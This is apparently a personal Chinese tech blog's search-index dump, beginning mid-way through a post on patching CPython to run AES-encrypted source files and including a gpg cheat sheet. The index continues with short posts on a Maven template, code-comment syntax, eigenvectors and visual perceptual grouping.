函数大概实现如下： [Modules/crypt.c]--------------------------------------/* 以解密方式打开文件 */FILE *decrypt_open(const char *filename, const char *mode){ int plainlen = -1; char *plaintext = NULL; FILE *fp = NULL; if (aes_passwd == NULL) fp = fopen(filename, \"r\"); else { plainlen = aes_decrypt(filename, aes_passwd, &plaintext); // 如果无法解密，返回源文件描述符 if (plainlen < 0) fp = fopen(filename, \"r\"); // 否则，转换为内存文件描述符 else fp = fmemopen(plaintext, plainlen, \"r\"); } return fp;} 这里的 aes_passwd 是一个全局变量，代表对称加密算法中的密钥。我们暂时假定已经获取该密钥了，后文会说明如何获得。而 aes_decrypt 是自定义的一个使用 AES 算法进行对称解密的函数，限于篇幅，此函数的实现不再贴出。 decrypt_open 逻辑如下： 判断是否获得了对称密钥，如果没获得，直接打开该文件并返回文件指针 如果获得了，则尝试使用对称算法进行解密 如果解密失败，可能就是一段非加密的脚本，直接打开该文件并返回文件指针 如果解密成功，我们通过解密后的内容创建一个内存文件对象，并返回该文件指针实现了上述这些函数后，我们就能够实现在直接运行脚本时，解密执行被加密代码的目的。 加载模块时解密加载模块的过程加载模块的逻辑主要实现在 Python / import.c 文件中，其过程如下： Py_Main [Moduls/main.c] | builtin___import__ RunModule | |PyImport_ImportModuleLevel <----┐ PyImport_ImportModule | | | import_module_level └------- PyImport_Import | load_next builtin_reload | | import_submodule PyImport_ReloadModule | | find_module <---------------------------┘ 通过 python -m 的方式来加载模块时，其入口函数是 Py_Main 函数 通过 import 的方式来加载模块时，其入口函数是 builtin___import__ 函数 通过 reload () 的方式来加载模块时，其入口函数是 builtin_reload 函数 但不论是哪种方式，最终都会调用 find_module 函数，我们看看这个函数中是否暗藏乾坤呢？ [Python/import.c]--------------------------------------static struct filedescr *find_module(char *fullname, char *subname, PyObject *path, char *buf, size_t buflen, FILE **p_fp, PyObject **p_loader){ ... fp = fopen(buf, filemode); ...} 我们在 find_module 函数中找到了打开文件的逻辑，如果直接改成前文实现的 decrypt_open，岂不是就能达成加载模块时解密的目的了？ 总体思路是这样的，但有个细节需要注意，buf 不一定就是 .py 文件，也可能是 .pyc 文件，我们只对 .py 文件做改动，则可以这么写： [Python/import.c]--------------------------------------static struct filedescr *find_module(char *fullname, char *subname, PyObject *path, char *buf, size_t buflen, FILE **p_fp, PyObject **p_loader){ ... if (fdp->type == PY_SOURCE) { fp = decrypt_open(buf, filemode); } else { fp = fopen(buf, filemode); } ...} 经过上述改动，就实现了加载模块时解密的目的了。 支持指定密钥文件前文中还留有一个待解决的问题：我们一开始是假定解释器已获取到了密钥内容并存放在了全局变量 aes_passwd 中，那么密钥内容怎么获取呢？ 我们需要 Python 解释器能支持一个新的参数选项，通过它来指定已加密的密钥文件，然后再通过非对称算法进行解密，得到 aes_passed。 假定这个参数选项是 -k ，则可使用如 python -k enpasswd.txt 的方式来告知解释器加密密钥的文件路径。其实现如下： [Modules/main.c]--------------------------------------/* 命令行选项，注意k:是新增的内容 */#define BASE_OPTS \"3bBc:dEhiJk:m:OQ:RsStuUvVW:xX?\".../* Long usage message, split into parts < 512 bytes */static char *usage_1 = \"\\...-k key : decrypt source file by using key file\\n\\...\";...intPy_Main(int argc, char **argv){ ... char *keyfilename = NULL; ... while ((c = _PyOS_GetOpt(argc, argv, PROGRAM_OPTS)) != EOF) { ... case 'k': keyfilename = (char *)malloc(strlen(_PyOS_optarg) + 1); if (keyfilename == NULL) Py_FatalError( \"not enough memory to copy -k argument\"); strcpy(keyfilename, _PyOS_optarg); keyfilename[strlen(_PyOS_optarg)] = '\\0'; break; ... } ... if (keyfilename != NULL) { int passwdlen; char *passwd = NULL; passwdlen = rsa_decrypt(keyfilename, &passwd); set_aes_passwd(passwd); if (passwdlen < 0) { fprintf(stderr, \"%s: parsing key file '%s' error\\n\", argv[0], keyfilename); free(keyfilename); return 2; } else { free(keyfilename); } } ...} 其逻辑如下： k: 中的 k 表示支持 -k 选项；: 表示选项后跟一个参数，即这里的已加密密钥文件的路径 解释器在处理到 -k 参数时，获取其后所跟的文件路径，记录在 keyfilename 中 使用自定义的 rsa_decrypt 函数（限于篇幅，不列出如何实现的逻辑）对已加密密钥文件进行非对称解密，获得密钥的原始内容 将该密钥内容写入到 aes_passwd 中 由此，通过显示地指定已加密密钥文件，解释器获得了原始密钥，进而通过该密钥解密已加密代码，再执行原始代码。但是，这里面还潜藏着一个风险：执行代码的过程中会生成 .pyc 文件，通过它反编译出的 .py 文件是未加密的。换句话说，恶意用户可以通过这种手段绕过限制。所以，我们需要禁用字节码 禁用字节码不生成 .pyc 文件首先要做的就是不生成 .pyc 文件，这样，恶意用户就没法直接根据 .pyc 文件来得到源码。 我们知道，通过 -B 选项可以告知 Python 解释器不生成 .pyc 文件。既然定制的 Python 解释器就不生成 .pyc 我们干脆禁用这个选项： [Modules/main.c]--------------------------------------/* 命令行选项，注意移除了B */#define BASE_OPTS \"3bc:dEhiJm:OQ:RsStuUvVW:xX?\".../* Long usage message, split into parts < 512 bytes */static char *usage_1 = \"\\...//-B : don't write .py[co] files on import; also PYTHONDONTWRITEBYTECODE=x\\n\\...\";...intPy_Main(int argc, char **argv){ ... // 不生成 py[co] Py_DontWriteBytecodeFlag++; ...} 除此以外，Python 解释器还会从环境变量中获取是否不生成 .pyc 文件，因此也需要做处理： [Python/pythonrun.c]--------------------------------------voidPy_InitializeEx(int install_sigs){ ... f ((p = Py_GETENV(\"PYTHONDEBUG\")) && *p != '\\0') Py_DebugFlag = add_flag(Py_DebugFlag, p); if ((p = Py_GETENV(\"PYTHONVERBOSE\")) && *p != '\\0') Py_VerboseFlag = add_flag(Py_VerboseFlag, p); if ((p = Py_GETENV(\"PYTHONOPTIMIZE\")) && *p != '\\0') Py_OptimizeFlag = add_flag(Py_OptimizeFlag, p); // 移除对 PYTHONDONTWRITEBYTECODE 的处理 if ((p = Py_GETENV(\"PYTHONDONTWRITEBYTECODE\")) && *p != '\\0') Py_DontWriteBytecodeFlag = add_flag(Py_DontWriteBytecodeFlag, p); ...} 禁止访问字节码对象 co_code仅仅是不生成 .pyc 文件还是不够的，恶意用户已然可以访问对象的 co_code 属性来获取字节码，进而通过反编译的手段获取到源码。因此，我们也需要禁止用户访问字节码对象： [Objects/codeobject.c]--------------------------------------static PyMemberDef code_memberlist[] = { {\"co_argcount\", T_INT, OFF(co_argcount), READONLY}, {\"co_nlocals\", T_INT, OFF(co_nlocals), READONLY}, {\"co_stacksize\",T_INT, OFF(co_stacksize), READONLY}, {\"co_flags\", T_INT, OFF(co_flags), READONLY}, // {\"co_code\", T_OBJECT, OFF(co_code), READONLY}, {\"co_consts\", T_OBJECT, OFF(co_consts), READONLY}, {\"co_names\", T_OBJECT, OFF(co_names), READONLY}, {\"co_varnames\", T_OBJECT, OFF(co_varnames), READONLY}, {\"co_freevars\", T_OBJECT, OFF(co_freevars), READONLY}, {\"co_cellvars\", T_OBJECT, OFF(co_cellvars), READONLY}, {\"co_filename\", T_OBJECT, OFF(co_filename), READONLY}, {\"co_name\", T_OBJECT, OFF(co_name), READONLY}, {\"co_firstlineno\", T_INT, OFF(co_firstlineno), READONLY}, {\"co_lnotab\", T_OBJECT, OFF(co_lnotab), READONLY}, {NULL} /* Sentinel */}; 到此，一个定制的 Python 解释器完成了。 演示运行脚本通过 -k 选项执行已加密密钥文件，Python 解释器可以运行已加密和未加密的 Python 文件。 加载模块可以通过 -m 的方式加载已加密和未加密的模块，也可以通过 import 的方式来加载已加密和未加密的模块。 禁用字节码通过禁用字节码，我们达到以下效果： 不会生成 .pyc 文件 可以访问函数的 func_code 无法访问代码对象的 co_code，即本示例中的 f.func_code.co_code 无法使用 dis 模块来获取字节码 异常堆栈信息尽管代码是加密的，但是不会影响异常时的堆栈信息。 调试加密的代码也是允许调试的，但是输出的代码内容会是加密的，这正是我们所期望的。 思考 1. 如何防止通过内存操作的方式找到对象的 co_code? 2. 如何进一步提升私钥被逆向工程探知的难度？ 3. 如何能在调试并希望看到源码的时候看到? 参考文献5 种方法，加密你的 Python 代码 如何加密你的 Python 代码 附录: gpg 命令行# 生成 gpg 密钥gpg --gen-key# 生成吊销证书gpg --gen-revoke 735C4581G2442686# 列出所有 gpg 公钥gpg --list-keys# 列出所有 gpg 私钥gpg --list-secret-keys# 删除 gpg 公钥gpg --delete-keys 735C4581G2442686# 删除 gpg 私钥gpg --delete-secret-keys 735C4581G2442686# 输出 gpg 公钥 asciigpg --armor --output public.key --export 735C4581G2442686# 输出 gpg 私钥 asciigpg --armor --output private.key --export-secret-keys 735C4581G2442686# 上传 gpg 公钥gpg --send-keys 735C4581G2442686 --keyserver # 查看 gpg 公钥指纹gpg --fingerprint 735C4581G2442686# 导入 gpg 密钥(导入私钥时会自动导入公钥)gpg --import private.key# 加密文件gpg --recipient 735C4581G2442686 --output encrypt.file --encrypt origin.file# 解密文件gpg --output origin.file --decrypt encrypt.file# 文件签名，生成二进制的 gpg 文件gpg --sign file.txt# 文件签名，生成文本末尾追加 ASCII 签名的 asc 文件gpg --clearsign file.txt# 文件签名，生成二进制的 sig 文件gpg --detach-sign file.txt# 文件签名，生成 ASCII 格式的 asc 文件gpg --detach-sign file.txt# 签名并加密gpg --local-user 735C4581G2442686 --recipient 735C4581G2442686 --armor --sign --encrypt file.txt# 验证签名gpg --verify file.txt.asc file.txt# 延期# gpg 也是使用主密钥和子密钥结合加密的# pub 和 sub 分别是主公钥和子公钥# sec 和 ssb 分别是主私钥和子私钥# 如果有多个子密钥，会显示更多的 sub 和 ssb# 一个主密钥可以绑定多个子密钥，平时加密解密使用的都是子密钥gpg --edit-key admin@XXXXXXXX.comsec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：9012-12-08 可用于：E[ 未知 ] (1). Wildlife <admin@XXXXXXXX.com># 指定子密钥，不指定则为主密钥gpg> key 1sec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb* rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：9012-12-08 可用于：E[ 未知 ] (1). Wildlife <admin@XXXXXXXX.com># 更新过期时间gpg> expire将要变更子密钥的过期时间。请设定这个密钥的有效期限。 0 = 密钥永不过期 <n> = 密钥在 n 天后过期 <n>w = 密钥在 n 周后过期 <n>m = 密钥在 n 月后过期 <n>y = 密钥在 n 年后过期密钥的有效期限是？(0) 2y密钥于 9014年12月08日 星期二 12时53分35秒 CST 过期这些内容正确吗？ (y/N) ysec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb* rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：2022-01-25 可用于：E[ 未知 ] (1). Wildlife <admin@XXXXXXXX.com>gpg> save","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"}],"tags":[{"name":"密码学","slug":"密码学","permalink":"https://blog.mhuig.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"}]},{"title":"SSM Maven 配置模板","slug":"code/SSM maven配置模板","date":"2020-01-12T05:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/4a71133b/","permalink":"https://blog.mhuig.top/p/4a71133b/","excerpt":"maven 配置模板","text":"maven 配置模板 SSMTemplate源码 GitHub <?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <groupId>cn</groupId> <artifactId>WebSocketTest</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <repositories> <repository> <id>cloudera</id> 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Flink","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Flink","slug":"大数据/Flink","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Flink/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"删除注释自动化","slug":"code/删除注释自动化","date":"2019-12-29T03:14:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/53d0a404/","permalink":"https://blog.mhuig.top/p/53d0a404/","excerpt":"实现批量删除 python java C CPP JS CSS html xml php sql 注释","text":"实现批量删除 python java C CPP JS CSS html xml php sql 注释 源码见 GitHub PythonPython 中的注释有单行注释和多行注释： 井号（#） Python 中单行注释以 # 开头，例如： # 这是一个注释print(\"Hello, World!\")多行注释用三个单引号 ''' 或者三个双引号 \"\"\" 将注释括起来，例如: 单引号（'''） #!/usr/bin/python3 '''这是多行注释，用三个单引号这是多行注释，用三个单引号 这是多行注释，用三个单引号'''print(\"Hello, World!\") 双引号（\"\"\"） #!/usr/bin/python3 \"\"\"这是多行注释，用三个双引号这是多行注释，用三个双引号 这是多行注释，用三个双引号\"\"\"print(\"Hello, World!\") java 单行注释 // 注释内容 多行注释 /*... 注释内容....... 注释内容....... 注释内容....*/ 文档注释 import java.io.*; /*** 这个类演示了文档注释* @author Ayan Amhed* @version 1.2*/public class SquareNum { /** * This method returns the square of num. * This is a multiline description. You can use * as many lines as you like. * @param num The value to be squared. * @return num squared. */ public double square(double num) { return num * num; } /** * This method inputs a number from the user. * @return The value input as a double. * @exception IOException On input error. * @see IOException */ public double getNumber() throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader inData = new BufferedReader(isr); String str; str = inData.readLine(); return (new Double(str)).doubleValue(); } /** * This method demonstrates square(). * @param args Unused. * @return Nothing. * @exception IOException On input error. * @see IOException */ public static void main(String args[]) throws IOException { SquareNum ob = new SquareNum(); double val; System.out.println(\"Enter value to be squared: \"); val = ob.getNumber(); val = ob.square(val); System.out.println(\"Squared value is \" + val); }} C 语言 以//开始、以换行符结束的单行注释 const double pi = 3.1415926536; // pi是—个常量 以/开始、以/结束的块注释 int open( const char *name, int mode, … /* int permissions */ ); html 标签 <!--这是一段注释。--><p>这是一段普通的段落。</p> php // 单行注释 // 单行注释 井号（#） 单行注释 # 单行注释 /* */多行注释块 /*这是多行注释块它横跨了多行*/","categories":[{"name":"代码片段","slug":"代码片段","permalink":"https://blog.mhuig.top/categories/%E4%BB%A3%E7%A0%81%E7%89%87%E6%AE%B5/"}],"tags":[{"name":"删除注释","slug":"删除注释","permalink":"https://blog.mhuig.top/tags/%E5%88%A0%E9%99%A4%E6%B3%A8%E9%87%8A/"}]},{"title":"","slug":"notes/Windows","date":"2019-12-22T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-windows/","permalink":"https://blog.mhuig.top/p/notes-windows/","excerpt":"Windows 开始阅读","text":"Windows 开始阅读 Windows","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"操作系统/Windows","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/"}],"tags":[{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"特征向量和特征值的几何本质","slug":"ml/特征向量和特征值的几何本质","date":"2019-11-17T01:52:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/f0765214/","permalink":"https://blog.mhuig.top/p/f0765214/","excerpt":"","text":"子矩阵的特征值编码了原矩阵特征向量的隐藏信息。 为阶矩阵，若数和维非列向量满足 ，那么数称为的特征值，称为的对应于特征值的特征向量。 它的物理意义是： 一个矩阵乘以一个向量， 就相当于做了一个线性变换。 方向仍然保持不变， 只是拉伸或者压缩一定倍数。 特征向量和特征值的几何本质，其实就是： 空间矢量的旋转和缩放。 线性变换 A 对于特征空间只起到 “扩张 (或者压缩)” 的作用（扩张后还是同样的特征空间） 求解特征向量按照传统解法： 计算特征多项式→求解特征值→求解齐次线性方程组，得出特征向量。 全新的方法： 其中: 为特征值对应特征向量的第个元素; 为矩阵的第个特征向量; 为矩阵的第个余子式,是该主子式的第个特征值. 通过删除原始矩阵的行和列，创建子矩阵。 子矩阵和原始矩阵的特征值组合在一起，就可以计算原始矩阵的特征向量。 简而言之，已知特征值，一个方程式就可以求得特征向量。 参考文献Eigenvectors from Eigenvalues Eigenvalues: the Rosetta Stone for Neutrino Oscillations in Matter","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"},{"name":"线性代数","slug":"数学/线性代数","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"特征向量","slug":"特征向量","permalink":"https://blog.mhuig.top/tags/%E7%89%B9%E5%BE%81%E5%90%91%E9%87%8F/"}]},{"title":"视知觉整合的认知和神经机制研究","slug":"ml/视知觉整合的认知和神经机制研究","date":"2019-10-02T01:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/63637a24/","permalink":"https://blog.mhuig.top/p/63637a24/","excerpt":"","text":"本文主要探讨知觉整合研究的新视角、轮廓线整合与纹理整合的神经机制以及知觉整合机制待解决的研究问题。 知觉整合研究新视角结构极简取向知觉整合理论研究中最有目共睹的研究成果是格式塔思想，其最核心的原则是结构最简化原则，该思想可根据结构极简原则推测出格式塔知觉组织的其他特定原则。 格式塔心理学家认为理解知觉组织原则的关键在于将视网膜图像中的所有结构识别为视觉系统所敏感的知觉结构。 所谓结构极简原则，是指视觉系统将所有可获得信息组合为最简化的表征方式。 Leeuwenberg 提出了一套思想框架，视觉系统通过选择编码语言的最短表达式来描述刺激的可能组织，结构信息理论所负载的最短代码或者是最少信息即最短表达式。 生态学取向结构信息理论能够解释一些知觉组织现象，但是他不能回答的一个重要问题是，为什么视觉系统对某些特定的结构更为敏感。 为什么视觉系统对某些特定的结构敏感性有利于有机体发现外部世界的结构。 知觉整合生态学研究视角有一个普适性的基本原理：不论视觉系统通过哪种方式进行整合，确定哪些部分属于同一整体的判定，其结果更可能是对符合外部世界的真实状态的反应。 Kruer 和 Sigman 等人发现自然场景图像共线、共圆以及平行排布的统计学规律。 相关研究发现自然场景中相邻边缘间最主要的排布方式是对齐分布。首尾相连的线段对出现的概率要远远高于边对边的线段对，而且他们在空间比例不变性维度上有质的差异。 计算模型取向一般来说，计算模型至少包括两个相关的计算理论水平：宏观水平的整体框架以及微观水平的特定机制。 在宏观水平，计算理论的目标是在各种结构类型中找出最适合用于计算观察者所看到结构的整体框架，从而服务于知觉整合分析。 在微观层面，计算理论主要聚焦于具体的计算元素以及元素间的相互关系。与知觉整合相关的一个计算模型来自于环路循环连接网络：一个类似神经元元素组成的前馈和反馈连接的构型。 有研究者进一步推测，大脑的物理格式塔是基于分布在皮层中的动态电磁场。 所谓对称环路循环网络，是指网络中任意单位对之间的双向连接方向都有相同的权重。该网络总会收敛到均衡状态，使得信息约束满足各向同性至物理最小能量。 神经机制研究取向知觉整合神经机制研究的目标是探究促使知觉整合发生的实际神经活动的本质。 以往关于初级视皮层简单神经元本质的研究说明功能和生理学研究相互依赖的最好例子。Hubel 和 Wiesel 在对猫的研究中发现外侧膝状体和初级视皮层中的单个神经元对简单的刺激属性（如朝向、运动方向等）具有选择性反应，他们将此解释为 “特征探测器”（如线条、边缘探测器）。 当研究者在经典感受野内呈现偏好朝向的随机运动点模式时，他们发现神经元反应与运动方向的倒 U 关系（最优朝向反应最强，随着与最优朝向顺时针或逆时针偏转越来越大时，神经元反应越来越小）。 结果表明神经元不仅仅对其感受野内的基本刺激属性有反应，单个神经元活动会受到周围神经元的影响，提示着神经元还表征格式塔的相关属性。 轮廓线整合的神经机制研究者发现初级视皮层中的神经元不仅受到经典感受野内刺激的影响，还受到感受野外刺激的影响，单个神经元的活动会受到神经元之间相互作用的调节。虽然感受野外的线段本身不会诱发神经元的反应，但是当感受野外的线段与感受野内线段成共线关系时，神经元的反应会增强，而且感受野外线段数量越多，其发放强度越大。 Field 等人根据其系列结果提出了 “联合野” 概念，他们的理论认为具有相似朝向选择性的神经元之间会具有选择性的相互作用，当这些神经元的排布方式违反这种规则时，这种促进和抑制的链接使得大脑完成对轮廓线信息的编码。 视觉系统在长期的进化发展过程中受到环境的交互影响，外界环境优化了视觉系统对环境中具有最高统计概率的刺激或刺激模式的反应机制。 研究者提出轮廓整合的神经实现基础是通过初级视皮层神经元间长距离兴奋性连接网络组成的 “联合野” 所实现的，然而最新的研究认为实现 “联合野” 还可能需要来自高级皮层自上而下对初级皮层的反馈作用。 纹理整合的神经机制神经元感受野中的纹理朝向与外周非经典感受野内的纹理朝向成正交关系时，会使得具有朝向信息的纹理边界线被 “朝向对抗” 神经元探测到。 目前 “朝向对抗” 神经元还没有被证实。 研究提示，各层级视皮层的前馈和水平投射可以对感受野内进行中心 - 外周比较，从而使得早期视皮层实现对较小空间范围内的同向抑制，较高级视皮层实现对较大空间范围内的同向抑制；反馈连接则将较高级皮层的区域填充信号反馈传回到低级视皮层实现同向兴奋。 研究者在多分层的层级视觉框架中通过多个空间尺度的特征地图架构了纹理分隔计算模型，实现了对纹理分隔任务的加工。 关于图形背景分割两阶段理论：该理论提出的第一个阶段是边界探测，纹理定义的边界线首先由具有相似偏好神经元间的相互抑制机制所探测到，该理论得到了实验证据的支持，研究者发现初级和较高级视皮质表层的神经元在很短时间内对图形边界的反应更强。第二个阶段是区域填充，该模型的区域填充过程始于存在于视觉系统多个空间尺度中的特征探测器，然后这些神经元会将信号反馈回早期视皮层的神经元，区域填充的结果是初级视皮层以活动增强的方式表征图像区域。研究者提出通过 NMDA 受体以及存在反馈链接并投射到第 1 层和第 5 层深层和表层神经元的树突共同作用实现将调制信号限制在激活强度最大的神经元群体，即图像表征区域。通过两种机制的共同作用，视觉系统通过对图形增强背景抑制的编码模式实现对图形背景的分割，从而实现对图形的知觉以及准确完成行为任务。 知觉整合机制待解决的研究问题视知觉整合的加工时程视知觉整合与注意麻醉情况下的无意识状态不能进行轮廓整合 自下而上与自上而下初级视皮层是否表征轮廓信息受限于知觉学习状态，只有当轮廓任务被学习之后，初级视皮层才能表征轮廓信息。","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}]},{"title":"视知觉整合","slug":"ml/视知觉整合","date":"2019-10-01T11:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/4c2deb5e/","permalink":"https://blog.mhuig.top/p/4c2deb5e/","excerpt":"","text":"为了满足生存和生活的需要，人类需随时对外界环境中的客体信息进行高效地识别并与之产生交互。然而，由于视觉系统的固有组织属性，视觉系统必须提供一个强有力的机制快速地从海量的碎片式信息中准确识别出目标客体，这是视觉系统面临的一大挑战。 视知觉整合（visual perceptual grouping）是指视觉系统将场景中属于同一客体或模式的离散元素组合并与其他客体或模式及背景区分的过程。 视知觉整合通常被认为是低级感觉加工和高级知觉加工（如客体、场景或事件加工等）间的功能桥梁。 视知觉整合与知觉组织当视网膜上的信息经由外侧膝状体首次进入初级视觉皮层时，神经元群组会对落在其感受野内的局部信号进行表征，如客体的轮廓线、纹理，在大多数情况下，同一个客体的不同部分会由具有不同调谐属性的神经元来表征。这是由于初级视觉皮层单个神经元的感受野很小且仅编码特定特征，当客体的大小大于单个神经元的感受野范围时，同一个客体的不同部分会由不同神经元来表征。比如，同一个客体的轮廓线会以线段的方式在具有不同朝向调谐属性的神经元来表征。 理论上这会严重破坏视觉信息的完整性，但事实上人们始终能知觉到排列有序的不同客体和背景信息，而不是一堆没有组织结构的局部信息的集合。 在这个过程中，视觉系统所面临的第一个挑战是，人们如何将属于同一个客体的元素从嘈杂的背景中提取整合并与其他客体及背景信息区分开来，即大脑如何完成知觉整合过程。 知觉整合对客体识别及其与环境交互都很重要。视觉系统的内在结构属性使得外界信息始于碎片式表征，然而我们最终知觉到的是排布有序的外部世界。 研究表明灵长类动物在刺激出现后 150ms 内即可识别出自然场景中的客体，一种观点认为这是因为视觉系统具有一套强有力的机制能高效完成整合。 视觉系统面临的最首要的知觉组织问题是判断视网膜上的哪些色块或者亮度块集合属于同一个或同一群客体。 在视觉系统加工的过程中，视觉系统首先需要将输入的离散信号准确地组织为后续信息加工的整体单元，即知觉组织加工。知觉组织是后续客体识别、注意分配等高级加工的基础。 研究历史1923 年，韦德海默提出了知觉组织和知觉整合问题，试图阐述清楚知觉组织最根本的定律。最具有普世性的核心定律是所谓的极简定律，即大脑具有看见最简单形状的倾向。 20 世纪五六十年代，视觉科学有了革命性的发展，尤其是单细胞电生理记录技术和计算模型的发展。Hubel 和 Wiesel 等人发现初级视皮层的神经元对基本视觉特征（如特定方向的边缘）具有选择性反应。 Campbell 等人使用线性系统方法对视觉加工过程进行建模并取得了很大进展。 当代知觉组织研究还发展出了新的间接测量方法，并从实验心理学中借鉴了标准的测量范式，在测量指标上，借鉴了心理物理学的阈值和无偏差反应指标等。 当代视知觉整合研究进展共同区域律共同区域律是指观察者会倾向于将同一个边界范围内的元素知觉为整体。 具体来说，当离散元素处于同一个连续同质的颜色或纹理空间区域内，或处于同一个边界线内，这些离散元素会基于共同区域进行整合，从而被知觉为整体。 如果两个元素都处于同一个图像区域内，那么同偶然出现在一个空间区域内的元素相比，这两个元素属于同一个客体的概率更高。 元素连通律当两个元素间存在第三个元素将其联通时，观察者会倾向于将这两个元素知觉为整体，即所谓的元素连通律。 同步律亮度或运动方向的共同性会诱发整合。 研究还发现即便元素运动方向不相关，元素间也能根据他们在出现时间上的同步性进行整合。 同步律是新的整合原则，不能被已知的视觉机制所解释，并存在争议。 当代知觉整合范式的研究进展早期知觉整合研究通过简单图片分别研究整合的关键因素，然而日常生活中的视觉场景并不是如此简单。 外部世界的典型视觉场景投影在视网膜形成二维图像，该图像由不同的亮度、颜色、形状、纹理等大量图形元素组成。其中边界线为客体的二维和三维形状提供了至关重要的信息。对于连通的没有受遮挡的客体来说，客体的边缘线在视网膜上投射为简单的闭合曲线，该曲线本身即足以形成完整的二维至三维形状知觉。 然而，视觉场景中经常存在遮挡，或存在客体与背景的亮度或颜色对比度低等情况，导致投射在视网膜上的轮廓线线段就已经变得碎片化了，而且因为视觉系统自身的固有结构属性，这种零碎的信息在大脑中呈碎片化表征。为完成识别，视觉系统需将轮廓线线段进行整合。此外，作为替代方案，区域整合也为也为客体识别提供了重要的线索，即视觉系统将轮廓线内部的刺激信息根据相似性原则进行整合。 不论是轮廓边界线还是区块纹理，信息首先进入初级视觉皮层都是碎片化式的表征，那么视觉系统面临的一个根本的重要任务是如何将这些信息重组成我们所感知到的排列有序的客体知觉。","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}]},{"title":"","slug":"notes/Django","date":"2019-09-21T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-django/","permalink":"https://blog.mhuig.top/p/notes-django/","excerpt":".fa-secondary{opacity:.4} Django 开始阅读","text":".fa-secondary{opacity:.4} Django 开始阅读 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Hadoop","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Hadoop","slug":"大数据/Hadoop","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Hadoop/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"","slug":"notes/Zookeeper","date":"2019-09-18T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-zookeeper/","permalink":"https://blog.mhuig.top/p/notes-zookeeper/","excerpt":".fa-secondary{opacity:.4} Zookeeper 开始阅读","text":".fa-secondary{opacity:.4} Zookeeper 开始阅读 Zookeeper","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Zookeeper","slug":"大数据/Zookeeper","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Zookeeper/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"特征和分类器","slug":"ml/特征和分类器","date":"2019-09-12T03:19:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/483290b5/","permalink":"https://blog.mhuig.top/p/483290b5/","excerpt":"","text":"特征提取和分类是典型计算机视觉系统的两个关键阶段。 